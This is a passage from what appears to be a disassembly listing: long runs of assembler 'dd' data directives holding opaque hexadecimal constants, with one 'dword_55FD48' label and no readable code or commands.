		dd 9430A4D2h, 26055261h, 7D19F006h, 0A339BBB6h,	6E0E5062h
		dd 73C3DB12h, 2803071Dh, 94D9B6B4h, 8FADA148h, 1D9E184Ch
		dd 19987113h, 67661087h, 1077414h, 3E37E829h, 9F81BF4Fh
		dd 63DB2816h, 80761422h, 2412D37Dh, 0C420C19Ch,	2E15C933h
		dd 8A08170Ch, 8FD089B8h, 0A408247h, 0B6239A08h,	4B849954h
		dd 26B0D11Dh, 0B7429444h, 0E4C1D1C2h, 4E9098h, 0DD3C7F40h
		dd 0C8DE2DFFh, 0F94F120Eh, 24FC75B1h, 2502E708h, 44C1D921h
		dd 26E89808h, 93C45FFEh, 0F5F200BDh, 79F7CD2Dh,	66476C90h
		dd 7C472000h, 13FC1C86h, 411262FAh, 1420ACCCh, 98464B03h
		dd 0B7BE013Ah, 6788F0D4h, 0E890F511h, 0F4A01E61h, 5D7757F6h
		dd 0D1CAE50h, 898EB200h, 0A44AC541h, 1DA3E6CEh,	399B9E08h
		dd 609F7B97h, 0C24C8C5Ch, 0B7323Ch, 3BFDBB9h, 5805361Eh
		dd 85C74C6Dh, 1410EF2Dh, 42B82855h, 6D7450CCh, 0B5F600F1h
		dd 0D17313E8h, 89D44438h, 6524D0D5h, 6A00D9C0h,	0ABF846F9h
		dd 1551BB2h, 0B9624EAAh, 0CCD784C2h, 10939A14h,	3C028039h
		dd 0AEAC6130h, 0C3633C1Ah, 80E8B22Ah, 1FE8AABCh, 16BC80B9h
		dd 81842F6h, 0F52068ADh, 4455430h, 462267CDh, 0FBFC8C4Ah
		dd 0E70C7200h, 0A337D3A8h, 0BF525CC2h, 0ED5FE60Bh, 40E488A4h
		dd 3A3495CAh, 7AD000F1h, 0D80963D3h, 7D17C59Dh,	0E444B4A1h
		dd 0EB4F6895h, 0B9542817h, 5889B50Eh, 0DB368037h, 0B96C3AD2h
		dd 898824F0h, 2062E4DCh, 52A6D430h, 1439F200h, 0DC7F2630h
		dd 3D05BD74h, 64C8910Dh
		dd 0D371935Bh, 0FFE85000h, 0B9C19457h, 70FD00FCh, 555CCD3Fh
		dd 6F118803h, 923B3h, 17DF3E40h, 0EA434103h, 6198F305h
		dd 0C482EB9Bh, 0B01829F6h, 3A07797Fh, 2D381765h, 0D34D84B0h
		dd 0CCFA5244h, 9B1A9E0Fh, 0B14E9741h, 0A7D84CEBh, 24944898h
		dd 0DC47FE40h, 4A9D3C03h, 2849918Ah, 8CDA8484h,	90634E29h
		dd 0F2FEA201h, 28704D25h, 99A4C020h, 1308F83Bh,	71EBC08Fh
		dd 0C089AFF0h, 4300D852h, 6E05D406h, 254FAE9Fh,	6CB0B8D1h
		dd 0C304EA5Dh, 0C0764350h, 0AAB78CD1h, 0AC229029h, 644A7A01h
		dd 270A69E6h, 0C042E182h, 0C64EDD7h, 245A900Bh,	7F48B961h
		dd 7859F60h, 0EA77A579h, 7A2AA015h, 73503A2Dh, 6E18729Dh
		dd 0EE31F9C0h, 96050032h, 3EE81554h, 0B00F083h,	0E10D726h
		dd 9293C5CDh, 0DC05257Ch, 70FD4A2h, 49AA6E00h, 0AD75025Ah
		dd 726A4E82h, 9DC1B0A5h, 0F9BC17A0h, 0C04ED06Ah, 24F36C90h
		dd 0E24B8570h, 2C8C1412h, 82920F47h, 3623ED7Dh,	0A889D88Dh
		dd 3EE8703Ch, 0A6B74604h, 8D3D087h, 9B7CE8ADh, 0DB2200D1h
		dd 15C3574Bh, 90010D81h, 0CFFD83B7h, 0A4749510h, 0ECB35C20h
		dd 0B471309Eh, 9400274Fh, 0BB6FFA69h, 0A1E384Bh, 5F593B81h
		dd 6528E6Ch, 0A3B48C92h, 0B794D954h, 9DA9000h, 49400703h
		dd 0D0A601B8h, 9A36055Dh, 58A862D6h, 0B4F16874h, 1B45EF00h
		dd 30DC14h, 0B6129B4Ch,	0D8C5F3E2h, 2C004A73h, 0F9606F4Fh
		dd 0E7AB5h, 1BC24D05h, 143BD8C4h, 0EE00BA74h, 0F3227192h
		dd 305AA6FEh, 0E21899C8h, 5518C5AEh, 0EE5006DDh, 34F7A8Eh
		dd 35E9E66h, 1800AF52h,	5BDBE118h, 68A0C04h, 0F14B5516h
		dd 0E500400Eh, 6C146D82h, 0CCAC4F6h, 0C24A03C5h, 3900C938h
		dd 98388A46h, 0EE5781BBh, 0E5620094h, 0A87F4C1Ah, 5518A903h
		dd 0D8105DAh, 98A1E1F4h, 3BBB0024h, 5D53D6D5h, 81AC7A00h
		dd 0F6F0AB3h, 56C906CBh, 0C10541CCh, 0BD633F00h, 85319F3Ch
		dd 0AE77181Ch, 0A055C95Dh, 0EEA32319h, 689E0BB8h, 55106A74h
		dd 0CDF098A9h, 9220C336h, 9000E559h, 8F295DABh,	7EA30683h
		dd 3AF80032h, 2248899Fh, 30C36530h, 0AEEE2BC2h,	0E3CE1448h
		dd 6F00209Bh, 9F615220h, 66003601h, 3A6FD25h, 1581F974h
		dd 0A0CEBD17h, 3D912630h, 5E0C8D70h, 988453F0h,	0C1786673h
		dd 0F1000A4Bh, 8D39DF52h, 448B8B0h, 822C97A6h, 0EB00831Ch
		dd 0E3E07818h, 0C15B06D0h, 0F8E52B59h, 4D78D05Dh, 5C840F54h
		dd 849108E3h, 97D0C964h, 6507DC41h, 2A302243h, 0DBFCDCB5h
		dd 3109A503h, 0C8B2FF4Bh, 2E43E89h, 9EA636ECh, 0F0A18FC2h
		dd 8418C6F7h, 2C06B868h, 0DE235340h, 10008FB2h,	0E9AB4102h
		dd 3DD0A962h, 0B38A24E6h, 83A45A9Dh, 274959DFh,	0AF67B4D8h
		dd 9991A602h, 8DC281B9h, 0C40AF0A0h, 3902DC00h,	40FBF12Fh
		dd 9828C068h, 0A8AAA91Eh, 8A67436h, 293B31D0h, 0C17A9599h
		dd 6873D00Eh, 9A861A00h, 617FDDFBh, 4809209h, 0DAE66C55h
		dd 0CD248830h, 4C8EF906h, 2A20C1DDh, 7894CBD1h,	54921Bh
		dd 0F59C2074h, 9B6B9445h, 56B31815h, 0AACE00DCh, 89673CFBh
		dd 0F2BC38D0h, 3B0BDA06h, 4F984908h, 7F5B0F0Ah,	881DD8C3h
		dd 0E3F9C822h, 7487183Eh, 402192E1h, 310062E2h,	14C007A7h
		dd 0A9D4DC32h, 98C961Ch, 2F395C73h, 2AE9220Ah, 0DD8DE03Eh
		dd 0A0034924h, 191787Bh, 0C763E57Fh, 50540640h,	0E33C6E84h
		dd 4913D500h, 9B76E229h, 8AE4E75Ah, 2FF4319Eh, 81500328h
		dd 0E7D19231h, 10A433F5h, 0BAF9080Ch, 65044822h, 396D7806h
		dd 37458E00h, 3A2A0BA9h, 820DE0DCh, 30439308h, 84988404h
		dd 0FF2F00B3h, 2919C590h, 0C74D496Bh, 0C956310Ch, 60415D74h
		dd 39B9FD3Bh, 0F5FCF78Fh, 2BA062C0h, 18CC1879h,	88116196h
		dd 1C1EF136h, 55874742h, 38C915D0h, 111A1DCh, 8DA2C829h
		dd 80D4EDDBh, 5AE54FC9h, 39470998h, 0B0CD992Dh,	23DB7413h
		dd 51D63B84h, 0F28FA400h, 946F9D44h, 425EEB6h, 8E5CBCF1h
		dd 2094874Eh, 7466B9E1h, 1EBF8400h, 73C320F8h, 2C89C372h
		dd 38C8F78Dh, 509087DFh, 38E3F330h, 0B0D34458h,	0E6F48835h
		dd 0C22D0E29h, 4F614E78h, 0F5F80456h, 70E1E1E8h, 0E7247FCAh
		dd 0CA105051h, 57206C81h, 96EF4DBh, 0F7036973h,	1DFB0BADh
		dd 5159C09Ah, 26E1C9E5h, 0D0453C9Ah, 87C4C890h,	4C8C24C3h
		dd 424993Bh, 8031707Ah,	0E8224F9Fh, 0C96A800h, 83F9FA4h
		dd 8C59498Bh, 0F85F9314h, 22522284h, 920320F2h,	0B201C04Fh
		dd 0ED510E71h, 0AC4887CDh, 0F294729Dh, 998498F6h, 116824A4h
		dd 6D3100FDh, 0C3802F0Bh, 0DE770003h, 0A47AB37h, 0B5490DAEh
		dd 0BA8864F4h, 158EDC98h, 0F84106F6h, 1FE52400h, 1237572h
		dd 325AAB00h, 0F569A53Dh, 956138F2h, 4020DAA4h,	0DF0E34D4h
		dd 3842E49h, 0E41CB97Bh, 51F630h, 53A2C9A0h, 35632B55h
		dd 0CCE7AE03h, 0A8A6805Fh, 39DD7C40h, 8A058408h, 404803E5h
		dd 0A618D58Ch, 0A31EA0E6h, 0E9C3B39Ch, 510B70Eh, 9F4ACEC9h
		dd 99BC80EBh, 51F9DC27h, 506773D0h, 0C17717E8h,	0E4486403h
		dd 99B89575h, 0E052FCD3h, 1CF4202Bh, 0FCF96E18h, 0BC00C330h
		dd 0CC4C3CDCh, 0B6F50FFh, 6D6B6CF4h, 0E0BF2027h, 0DED729Ah
		dd 0C3E20512h, 0E3F44004h, 19261C92h, 4D2C2720h, 0FB0D0B6Ch
		dd 32C235Bh, 3B310057h,	4A694B04h, 0E022751h, 724D96C8h
		dd 201C8BE5h, 56CF3F94h, 0B8DC2055h, 1262F0DCh,	79BFCCCh
		dd 0A0FE1572h, 301EAA9Eh, 0DFE18D0Ah, 9243DC05h, 34811F53h
		dd 0A4AF4742h, 2B313024h, 0A5010F30h, 6A10D3CFh, 0B8488118h
		dd 0DC845C1Ah, 28D52C4Ch, 580C8811h, 0F026C05Ch, 7B0AF4h
		dd 0F3767A52h, 3FB15DA7h, 72B6E604h, 3024EEEAh,	60784CD8h
		dd 7ABC4903h, 99AA436Eh, 98343CB5h, 0A35D215Ah,	9020E21Dh
		dd 3E2491E8h, 3E27A92Ch, 0B807F056h, 11E60307h,	0F03A2E08h
		dd 0F30FC6ADh, 21BAA688h, 39E0FB75h, 92F6EC24h,	8BCC09ACh
		dd 304102F9h, 92608CEFh, 15E154h, 0B329DA31h, 230B4BCh
		dd 3C202159h, 0A690D5CBh, 50EA9450h, 115046h, 0AC6B97C4h
		dd 0D35CA98Bh, 676F4605h, 87FB07C9h, 8C2E65CFh,	567491ACh
		dd 89805E89h, 81675902h, 0FC0090E8h, 0C730D169h, 20A136D2h
		dd 0E318B537h, 3231559Bh, 4EF3004Ah, 233034BEh,	417D38Dh
		dd 900BC443h, 1BA418C9h, 967B95h, 3F2BBA77h, 1A933755h
		dd 0F3114704h, 94101C01h, 2B7D7202h, 304AA670h,	68CC80C2h
		dd 0BF40CE00h, 3768BD92h, 0A08EC1Ch, 0C935E676h, 0FFE0EE88h
		dd 0E9CB9F3Ch, 0C11B4600h, 177F3F7Dh, 2C6417EDh, 0F908423Dh
		dd 0BF20E55Dh, 49A4AD72h, 0F04C4891h, 841CFBA0h, 11C6BC25h
		dd 8848924Ch, 8D1300B0h, 391F31F1h, 0BF3D9681h,	50D3A411h
		dd 200830A6h, 0C15A80BAh, 0D797B199h, 0A5F55800h, 988B7C96h
		dd 1648921Fh, 6BF2C1h, 6123ED7Fh, 0E3FC2D36h, 6A44D492h
		dd 0D7620720h, 0D74BEC92h, 840690C7h, 61321D81h, 2E54C138h
		dd 0BF1AEAh, 24A6ACB6h,	7E98DDCFh, 11D42605h, 0B08CE4A7h
		dd 0BF8E027Eh, 13CC4EEAh, 9148D0A2h, 7F024464h,	749095D4h
		dd 0D880A1A7h, 9C4D1C0Ch, 550D2A20h, 6AE1C8F7h,	4BA507C0h
		dd 36F02856h, 112E1200h, 0D6099E3Dh, 68C35959h,	0B8106080h
		dd 3D03D063h, 0BF7F8C6Fh, 0AB01E42Eh, 0C1E8E678h, 0D880ABACh
		dd 5D8EC800h, 0A733CCh,	0B049BCC9h, 9EB28880h, 0EFB8302h
		dd 4E5A1136h, 5A491FCh
		dd 16FE0DCEh, 32881260h, 0A466F158h, 86188F70h,	0CE81D6A6h
		dd 48FD0B69h, 0E4A7DF24h, 4050858Eh, 0DA188D94h, 4026D376h
		dd 4B16E8D8h, 34D17C61h, 79E22441h, 0A0CBB853h,	60DF5Eh
		dd 89F5F89Bh, 75E73862h, 192821C0h, 68F206h, 6C2287CBh
		dd 0D737ADF8h, 3EA42600h, 0A29333CFh, 0C1F42564h, 0C289D482h
		dd 0B653800h, 6EFD029Ch, 4B564C3h, 0F02658E5h, 0D7ED4541h
		dd 0F0629421h, 6254D02Ch, 0CD382394h, 50B906h, 8E236469h
		dd 0BC2690CEh, 8D12ECA2h, 4B60CC96h, 908065AEh,	607D660Ch
		dd 60E2092Ch, 0D211E4C7h, 3BDD367Ch, 0A64929DFh, 2AB803B4h
		dd 0E3F145F1h, 8C45597h, 0B8822C48h, 0A340C1CBh, 881C3AD0h
		dd 4EFC249Fh, 0F6A4225Bh, 32A67484h, 99C6147Bh,	1395173h
		dd 3A1DB42Ch, 0D4054C53h, 99705246h, 8CE53E02h,	2797720h
		dd 0F84B2692h, 66E01FF8h, 9E225D06h, 2E92E4Fh, 7CE57F2Bh
		dd 704A9DD4h, 92002446h, 2D9E4C5Dh, 0B4BE05Ah, 5049CCFDh
		dd 0C0B01C0Ah, 0BFD5CBCAh, 0A19DF604h, 10B67168h, 22330078h
		dd 0EF14EDEAh, 0DB4FEC35h, 0D945A820h, 0D7532C4Ch, 4BCEE0D8h
		dd 82982D3h, 0A615B0B2h, 553050D4h, 60D598AAh, 0E61AF764h
		dd 50F45CD6h, 0AA961806h, 0BCBAD1F1h, 0A42D4700h, 0D2A7420h
		dd 117E852h, 6D86BE6Ah,	0D9F67E0Fh, 27C8570Bh, 0CE1448F9h
		dd 4D8BC0BCh, 0F490656h, 8136C7FCh, 0EC69C680h,	0C4012893h
		dd 72BC12CBh, 0CC040EC2h, 14004CC4h, 3E61D29Fh,	9C805E6Eh
		dd 900312B4h, 9E391D40h, 7CED0D00h, 17122BEBh, 0D541036Eh
		dd 0AD19677Fh, 60FA6F89h, 0EF26E580h, 4F443Ch, 8DBF5ACBh
		dd 0ECFE0Bh, 145F98Fh, 0D38C4942h, 0EB58FF09h, 0DCFC100Dh
		dd 0B63E050Bh, 134DED0Eh, 1A709044h, 3D02770Fh,	9E3D513h
		dd 2B54614Dh, 384A414h,	0EF315E60h, 0F25FF516h,	8C6600FBh
		dd 0B450AA3Ch, 3A0C14DAh, 0A91F3B13h, 6A7A1C57h, 5A6800B5h
		dd 0B098F433h, 0AB79A002h, 0CEA25D93h, 0E8DC84CCh, 0F17FA1h
		dd 0DB10DA52h, 209355BEh, 0B87FE102h, 58DCD642h, 450890ECh
		dd 92BDE853h, 0FE01F700h, 24BF9883h, 0FFFC0251h, 0E30340CAh
		dd 95800451h, 0EF095415h, 0BAB900DFh, 10507E04h, 83094D4Ah
		dd 0E8E56AE8h, 4C43E468h, 96C924EBh, 152528E9h,	0E200F08Fh
		dd 0B37EDDC8h, 723D33A6h, 749127AEh, 8C2F005Dh,	0AD3647ECh
		dd 5561389Ch, 6DDA08h, 0BD9AED03h, 0A1D4DD82h, 0FBE460E8h
		dd 928E61C4h, 6250C8h, 0A3D034CCh, 0DEB94BA4h, 0BCD318A3h
		dd 22D0E3A4h, 6BAA0013h, 551416C4h, 6604FD39h, 0CBBBFCECh
		dd 0D6E8D8h, 0C1CAB9A1h, 7DE2C9B8h, 4E5AC2Eh, 51055C60h
		dd 5DEADFh, 0D414D2DEh,	0F971CABh, 3F60410Eh, 2C718146h
		dd 0B824EE09h, 80DD7692h, 8718BF77h, 0E5187088h, 8EE40D7Bh
		dd 21D474h, 99C1EB4h, 0F803D1CAh, 2069CE4Fh, 0AB739944h
		dd 0A7E51F11h, 0DFB100BCh, 0F0C5B0BEh, 50187705h, 0D0B2C8F7h
		dd 17910813h, 0B3F03030h, 0F1007AB4h, 924A5EC9h, 62360720h
		dd 0C43C819Fh, 0D165CCCh, 0C22513Ah, 1784406h, 906568A7h
		dd 0C407D512h, 5300AD3Dh, 0FBB9267Bh, 48050ED9h, 0F843C063h
		dd 8F182F04h, 0D674C8FDh, 21F05400h, 59CC784Dh,	867B00DCh
		dd 0F23AC079h, 50028240h, 90D44144h, 0CB18411Ch, 9C084044h
		dd 53B040D5h, 0C440A585h, 7DA2F55h, 49EC6C20h, 0B8B0AAC0h
		dd 131E460h, 5C207719h,	74C81890h, 0FECF3C80h, 0F25249h
		dd 0D4FBE6AFh, 98DE40F8h, 2863D0A1h, 0B4F02978h, 0E1C46280h
		dd 23629CCh, 1CBFF2F9h,	2C44A977h, 38D1EAA2h, 45A7116Ch
		dd 51C002F9h, 0B680E45Bh, 7DFAEC90h, 96AA0F40h,	0E7C0FD3Ah
		dd 0AEC3BCA3h, 2F557A0Ah, 0DD51DCC5h, 1BC12FE2h, 0F0C30BE4h
		dd 59D648A1h, 0E5BF4C8h, 0B12495EAh, 0DAA91961h, 18E6F23Dh
		dd 0D73E650Ah, 5589E854h, 0B0BCE2D4h, 7C85BE2Ch, 0D9FD00A2h
		dd 2F785955h, 741A0552h, 40695A5Ch, 49E45D0h, 0D3CF033Bh
		dd 3CF305C3h, 4370A4h, 446A6519h, 0FFAA97CBh, 0D684C802h
		dd 9BAB63Ch, 0E24B00E6h, 16F4021h, 0A8B848h, 59E329Ah
		dd 7319C37Ch, 6C400F26h, 70909296h, 5DC134h, 5B7CBA84h
		dd 0B5394C9Ah, 50013171h, 0A9C3CAD0h, 74747E4Bh, 4DA13574h
		dd 80B360h, 0C490F61Ah,	0BD2DC9h, 68B34ACh, 5CDE7327h
		dd 61870900h, 5DF6EB0h,	45091FFh, 41BAFDD6h, 0CD6C48C2h
		dd 7922D422h, 0F9838538h, 9509AFE6h, 0B808214Bh, 4DDCC928h
		dd 88598CF5h, 0D7747980h, 21197B1Ch, 3F698FF6h,	173CBCC0h
		dd 2040CF6Ch, 0A30EDC44h, 101C102Dh, 44D75568h,	98A68E99h
		dd 8BE82A07h, 68A09481h, 0C84DD2Bh, 0F2218849h,	46146ABEh
		dd 0C1C48A77h, 2783B3D5h, 31D04BD9h, 0F240E280h, 9DD20162h
		dd 0F2F6ABBAh, 0B88C51F3h, 35083Dh, 1347E614h, 0FEEF3BB2h
		dd 64232E5Fh, 21C3D879h, 0F4AB0958h, 38880D4Bh,	62550424h
		dd 25785413h, 944A4A2h,	54807025h, 917DA69Ch, 860EE304h
		dd 0C0B0EE36h, 80F89C73h, 5BEA8D9Ch, 0C6007F3Ah, 913C0688h
		dd 2A62BC0h, 0C555AC98h, 547AAF1Ah, 849F742Ah, 616014B6h
		dd 265FF881h, 60F05482h, 7E80608Fh, 1500DEF4h, 6F298AFEh
		dd 0CFE0A3h, 0AF1396C1h, 0A4BC0BC2h, 0A1C9242Dh, 0F70DCE40h
		dd 57A802Dh, 0F907F10Ah, 8CE8139Fh, 43078200h, 915A7B1Bh
		dd 9D801F97h, 4CE6E1BCh, 0D08BA803h, 0B506EC10h, 76C094A8h
		dd 79E0DF01h, 8732D1E4h, 16FABD8h, 551B6CEAh, 30C035DBh
		dd 0BC8875A0h, 64180F05h, 0DC00D669h, 0F8F043FDh, 9706DE01h
		dd 9D207648h, 0D434E831h, 8B84B49Bh, 0CE004DE9h, 64C8D9CAh
		dd 2691B403h, 0ED14B97Dh, 44A940A0h, 0E8ACE57Bh, 2C9F712Ch
		dd 980BF68Bh, 9B6DCCh, 7B1E4A55h, 95C09718h, 0B7B41A01h
		dd 7464D33Ah, 8700DC39h, 225F60A4h, 0ACB4905Ch,	3822E1ACh
		dd 0F004DC42h, 0E46EB307h, 2CBC74DCh, 0E3254280h, 418386h
		dd 0E4FE5E63h, 65D69D08h, 0ABBD403h, 1C69AC35h,	818EF6A0h
		dd 0F8035634h, 22FC62A2h, 1243035Dh, 0A67F3C35h, 378E3E5h
		dd 69DF6191h, 7F8DA80Fh, 4D8C0108h, 1F0BD305h, 14707D7Eh
		dd 2F602D3Ch, 87302030h, 1CE9B934h, 0C0B8954Ah,	5117247Dh
		dd 1302E6CEh, 0EDB6808Fh, 78F0E60Bh, 8AA1005Eh,	0DF354727h
		dd 0B307E418h, 4CF409FFh, 4A912A30h, 1710B1C1h,	0DDEC2203h
		dd 0B8315044h, 0E21410CEh, 30800612h, 0A0B1B6F9h, 813F6400h
		dd 3B4F30FCh, 8B93EEAh,	0F16C9201h, 2DE37A5Dh, 0FF21198h
		dd 0F725B838h, 0DA031464h, 8C8A0A46h, 7477E04Eh, 94F924EBh
		dd 14929410h, 5FB9AD05h, 27AC366h, 0F49640A0h, 0ABB0986Eh
		dd 0BCE6BAh, 8B511830h,	0D20A9360h, 0DAA69200h,	0F2AB4798h
		dd 2E8281E3h, 39C17104h, 32120E4h, 0D79C8EE1h, 54B92901h
		dd 0BCB030DAh, 824C54Bh, 5EE0FCE0h, 0F25021E3h,	98462BC7h
		dd 31CA3Dh, 77314198h, 0F03EEC51h, 37E2FD0Eh, 0C70E73h
		dd 0E8204022h, 946C7C49h, 0F1579840h, 0E00975Dh, 38F7EC52h
		dd 7BF5E4E9h, 0DCDF0112h, 9F37CBA1h, 9644747Ah,	8E043097h
		dd 40064BADh, 456182A4h, 0F602FBB0h, 1CD61A70h,	0E47305ACh
		dd 0E600CB10h, 0C4C2EA82h, 91F50DF8h, 6F2D0004h, 1783653Ch
		dd 0E2A4E13h, 885604CCh, 5301C30Ch, 0A607374Dh,	0DBE084A8h
		dd 27DA00FFh, 55B7C8A5h, 3892CBB2h, 4FBA1622h, 0CC8864F7h
		dd 1B00638Ch, 64D59A77h
dword_55FD48	dd 18B81898h, 0B15E3C48h, 434820E5h, 0C3210A6Bh, 0EB4080E2h
		dd 13D32BABh, 315D7AA4h, 0D4B90718h, 0B346336h,	90A9E0F5h
		dd 0FDD0550Ah, 22FB1D48h, 0E927B800h, 56F8A713h, 0D70B0316h
		dd 77D1EB88h, 8F58DAB8h, 0A3E31703h, 79DCD464h,	403A0270h
		dd 48753E4Dh, 0EBB74E0h, 8F81D738h, 97167484h, 0BD20B029h
		dd 0F8E55CA5h, 0AEFB9700h, 5DC7912Dh, 1085542Fh, 5DB70384h
		dd 0E609A40Dh, 50492E37h, 88A07C52h, 2237BE5Ch,	859DC1E1h
		dd 25D5E3E6h, 45AC62BCh, 19701856h, 942F7B55h, 0ED4CE070h
		dd 620075D9h, 815EC26h,	1532BAAh, 0B7E17AFCh, 70889D8Eh
		dd 16284638h, 7222DCCCh, 7EF0867Eh, 91530061h, 1F605D93h
		dd 5B8C4EFh, 83462005h,	6C44DB75h, 0A2242F7Bh, 57E50E24h
		dd 167D215Ah, 0B130DAAFh, 9D744842h, 389BC509h,	0A77C472h
		dd 81FE4638h, 0C9F71FFDh, 0AAF95DDDh, 985AE2h, 0A5021963h
		dd 0F93B6D90h, 43C2F50Ah, 4140949Ch, 737255D5h,	0C1C00184h
		dd 43FFB8D6h, 20D2420Eh, 80000D9h, 0F9974485h, 0A6A7002Ah
		dd 86610C26h, 549A1EE5h, 13877894h, 79C0BB4Ch, 5E9C4C6h
		dd 50578566h, 880085AFh, 40005F38h, 0DF88FAEFh,	0AE5920h
		dd 86281134h, 4B2DF239h, 8116B498h, 7C088EE5h, 60D04AD7h
		dd 0FA600D75h, 90D45B17h, 17270104h, 0A67987C1h, 0E4F816D9h
		dd 0F4CF1D1Bh, 7B003BC2h, 0E6C48270h, 0DA1FCA0Dh, 0CE4593A5h
		dd 6C883A81h, 7A801608h, 0BEE70099h, 0E89A03BBh, 0BA0DB3Fh
		dd 83B961Bh, 6608E002h,	0A6C2072Eh, 1572EE64h, 0AB107898h
		dd 6FD9147Dh, 0A4C28580h, 0FFFBB881h, 4B803068h, 91F3070Ah
		dd 42FCBD01h, 1C1D1AAAh, 7987AC0h, 1FA28AA6h, 18B39120h
		dd 178223Bh, 0E8499C7Ch, 24E4A71Eh, 0C9C8271Dh,	23153890h
		dd 2F697400h, 62DDB46Fh, 0F6C60182h, 0BBEB20DCh, 979874CBh
		dd 0E0D81224h, 29C0FC26h, 0CC692h, 0ABE5ED14h, 0BDEB093Fh
		dd 45DDD305h, 0D022BA66h, 1D5C7273h, 0C7CC223Dh, 508E7147h
		dd 6538BEAh, 0C1A36800h, 5D7051BFh, 98A0490Eh, 4AD0315Eh
		dd 0F6A54109h, 0A88FCAACh, 7412F288h, 0D10CA4h,	9ED91AC3h
		dd 39F9EACFh, 7E01F4E0h, 5FE5BCAh, 302E0B3Fh, 0DFA4F66Ch
		dd 48A14730h, 91016198h, 7E1240h, 0CC11657Bh, 0B100233Fh
		dd 294A07B6h, 949F1AC9h, 42B34098h, 0BF044D83h,	7D550E69h
		dd 0CE5DC88h, 0C2529558h, 79458818h, 7080143Ch,	0A7724956h
		dd 0A0D5ED02h, 6BA6F327h, 3BA8968h, 0C3008872h,	0CB27FC28h
		dd 0C63FDA0Ah, 56C4803Ch, 0EAEA2F2h, 0BDE9016Dh, 0D216B259h
		dd 9BC225Dh, 5A9D1BF6h,	0A9120204h, 83742DE0h, 82B84B43h
		dd 0E60291BEh, 6CC6A139h, 0E0E4C43Ah, 75140FD5h, 30404EA0h
		dd 0B33C287Fh, 18AE8901h, 0DA11BB21h, 9280E47Ch, 0D12A1C07h
		dd 0D5CA9401h, 0C28C684Fh, 313C272Ah, 0C4B37DA6h, 7100E919h
		dd 35D0EC0Bh, 0D393485Eh, 0E4D06049h, 0D1013763h, 9ED7E898h
		dd 19DD55BAh, 96090068h, 0E0C025A1h, 0CB5FB4A7h, 50885453h
		dd 7D038853h, 1FC8C3Dh,	0BF151320h, 0BBFCB9FDh,	495B6289h
		dd 7CC175FBh, 0C03469CAh, 0CB90ACC9h, 632F14E5h, 1185E4E7h
		dd 0D6BD0078h, 0C03502B5h, 930BBF17h, 3186C12h,	6DA00D41h
		dd 2FC0895Ch, 0BA5BC28h, 0FBAB8A3Ch, 11028E00h,	1F581A9Dh
		dd 90994E84h, 780D3E8h,	87EB06CFh, 0DCC260F7h, 0C00190FBh
		dd 0EEA5D873h, 30E3CB5Dh, 0F6612140h, 5E658206h, 0FC883C78h
		dd 96A90052h, 0C3082F41h, 5256F82h, 95E0110Bh, 43E05DDDh
		dd 0DABD0084h, 24167601h, 5A7FE837h, 5F665E3Dh,	0DE410440h
		dd 140DB251h, 9B5AB93Dh, 5F07FF00h, 0D2E0111Ch,	80C87F4Ah
		dd 727A54h, 264BCF0Ch, 71180EA4h, 0DC129B98h, 84B6C5B7h
		dd 4F03AD00h, 0F5614B0h, 803D3A38h, 0AA6EF023h,	0B99297EFh
		dd 631601DCh, 7479105Dh, 4C4EA93Ch, 643E7070h, 84416F9h
		dd 4FACC8D7h, 42237F09h, 0EC720040h, 13FEC35Eh,	0B93F17Eh
		dd 60103AD4h, 0DF71B847h, 4F847C00h, 50E67298h,	2CA04C54h
		dd 0E24A6CFh, 6800B1DFh, 0E726C094h, 68D56Fh, 29922430h
		dd 2A90623Eh, 7E957500h, 0F9A05A2Fh, 788C90D9h,	0CD1C0927h
		dd 90103866h, 373BC8C9h, 99CCCCAh, 70163D9h, 0D199FB66h
		dd 2905018Ch, 0CC606AA0h, 11E27182h, 3D1B8F2Ch,	4A67842Ch
		dd 394856F0h, 23FF3BA4h, 4B3ECD86h, 0D80FB93Bh,	0E49D3C0Ch
		dd 0D482497Ah, 455C5E08h, 8084A8DAh, 0D634816Fh, 7DA500F2h
		dd 5C926724h, 0F6012542h, 20D1C243h, 72600E74h,	716500C0h
		dd 80D47CF2h, 7E2AFB1Ch, 0D914B4E2h, 8380300Dh,	7C7BD148h
		dd 0C1DC25F9h, 0DF553882h, 0B6506C74h, 49160075h, 0C8302732h
		dd 3400F7C0h, 3E55D4A9h, 4061BEh, 8E248C74h, 0E5BACD8h
		dd 548BD900h, 0FCC27964h, 0EA7057h, 0B7822E5Dh,	5EFE9A2Bh
		dd 596B741Dh, 5FB14701h, 0EDDD5DFFh, 108029BBh,	24B69D6Ah
		dd 360064EBh, 95C1159Fh, 0AE22A7h, 2EDFD9EEh, 0FCECFF54h
		dd 0F40596Fh, 38606058h, 1C6B6FEFh, 1F15EB64h, 9F203062h
		dd 9E00C3C7h, 0A72B7077h, 3B01FF4h, 0E7CD01ECh,	0C4E102D1h
		dd 5A598095h, 6A5F731Ah, 0E150A1ADh, 0A792F510h, 61608800h
		dd 0E0ABD6CEh, 7664A00Ah, 0C1FC006Dh, 0D7C221A5h, 5F2992Ah
		dd 8A219E60h, 2B48E5h, 8753F8B1h, 4E386B5Ah, 6A57C106h
		dd 0B17705h, 6E0C7528h,	0E8FE11F6h, 0D96CB500h,	67CA1A73h
		dd 6DFA0037h, 0E7C62475h, 7C65455Fh, 0B8205939h, 0E8D229CDh
		dd 0FA531DEDh, 18B9D8A9h, 0B238DF54h, 821680D8h, 678DF0ADh
		dd 1F93007Fh, 15A361AFh, 0B26026F2h, 0CFABEF49h, 79B8A8F9h
		dd 811340F7h, 0BB510660h, 0BCCBC2h, 0F73AA41Eh,	3B9BFCE6h
		dd 0E09CCE00h, 9ED362AAh, 310D60D8h, 0E4383934h, 0B8C8C52Ah
		dd 0DCA96C00h, 3AA36F94h, 0F9DD00B9h, 2CA410DEh, 0C23976ADh
		dd 4035B057h, 219B79h, 136C5C9Ah, 24CCE8EBh, 0FC5549C2h
		dd 358C909Dh, 5DC10203h, 0EF5C22AEh, 649A4A20h,	0FABB004Eh
		dd 411F2C5Bh, 4D00AFCCh, 0B2D87D04h, 6EAAE03h, 2AEF6C49h
		dd 741AF131h, 0B868455Eh, 3C1DE58h, 1EBD337Eh, 61E0D35Fh
		dd 79505E19h, 0CCA875C5h, 0BF0096B9h, 848E68A9h, 90BBA355h
		dd 0F20E1DECh, 0E4B0AAC3h, 6F06056Ch, 8078E0AAh, 47ECACA0h
		dd 0F191C518h, 490971h,	73EA0FFAh, 0A221527Ah, 446B7D0Fh
		dd 854958C4h, 7486018Ah, 8E4A1D1Fh, 9444DE7Ch, 58DB603h
